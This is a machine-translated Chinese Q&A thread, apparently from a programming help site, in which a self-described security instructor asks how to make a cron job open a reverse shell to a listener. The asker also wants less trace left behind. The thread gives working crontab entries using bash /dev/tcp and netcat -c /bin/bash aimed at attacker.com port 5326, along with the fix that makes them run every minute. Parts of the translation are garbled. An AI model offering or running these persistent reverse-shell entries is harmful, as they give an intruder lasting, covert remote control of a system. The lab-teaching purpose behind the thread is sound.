C0n*_*r07 4 linux bash cron netcat reverse-shell
我在一所大学教授网络安全,并正在编写有关Netcat和反向Shell的实验室。我创建了一个cron作业,该作业运行一个连接到我的侦听器的脚本。很好 问题是指纹过多,可以删除脚本。实验室的一部分内容是进行隐身操作(例如在输入的任何命令前都留一个空格)。
我正在尝试执行此命令。现在的频率并不重要,尽管最终它将在启动时每30分钟运行一次。
/bin/bash -i >& /dev/tcp/attacker.com/5326 0>&1
Run Code Online (Sandbox Code Playgroud)
从命令行运行时,该命令将起作用,并建立反向外壳。我不想使用端口80,因为我DO想,如果一个学生决定尝试一些愚蠢此受阻。另外,下一个实验也在iptables上以阻止此端口。
我试过引号。我试过了sudo。末尾加双“&”号。末尾有单个“&”号。/ tcp /路径的进一步限定。我认为我不需要建立它从哪个tty会话运行(那很难)。在任何情况下,cron-run命令都不会成功。
crontab -l
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').#
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
#
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
#
# For example, you can run a backup of all your user accounts
# at 5 a.m every week with:
# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
#
# For more information see the manual pages of crontab(5) and cron(8)
#
# m h dom mon dow command
* * * * * /bin/bash -i >& /dev/tcp/attacker.com/5326 0>&1
Run Code Online (Sandbox Code Playgroud)
这是系统日志
cat /var/log/syslog
Mar 19 07:42:01 raspberrypi CRON[12921]: (pi) CMD (/bin/bash -i >& /dev/tcp/attacker.com/5326 0>&1)
Mar 19 07:42:01 raspberrypi CRON[12917]: (CRON) info (No MTA installed, discarding output)
Run Code Online (Sandbox Code Playgroud)
它似乎并没有失败...它只是无法正常工作。
因此,对于比我这里聪明的许多人,我在做什么错?如何使此命令作为cron作业工作(调用脚本不是一种选择)?
更新:解决方案是* * * * * /bin/bash -c 'bash -i >& /dev/tcp/attacker.com/5326 0>&1'尽管我仍在解决两个错误。
/dev/tcp 卑鄙主义请注意,这/dev/tcp/host/port是一种bashism!
cron 不会理解他们的!
您可以尝试:
* * * * * /bin/bash -c '/bin/bash -i >& /dev/tcp/attacker.com/5326 0>&1'
Run Code Online (Sandbox Code Playgroud)
或使用非bash方式:
用netcat样品:
* * * * * /usr/bin/nc -c /bin/bash\ -i attacker.com 5326 0>&1
Run Code Online (Sandbox Code Playgroud)
(请参阅man nc.traditionalvs man nc.openbsd)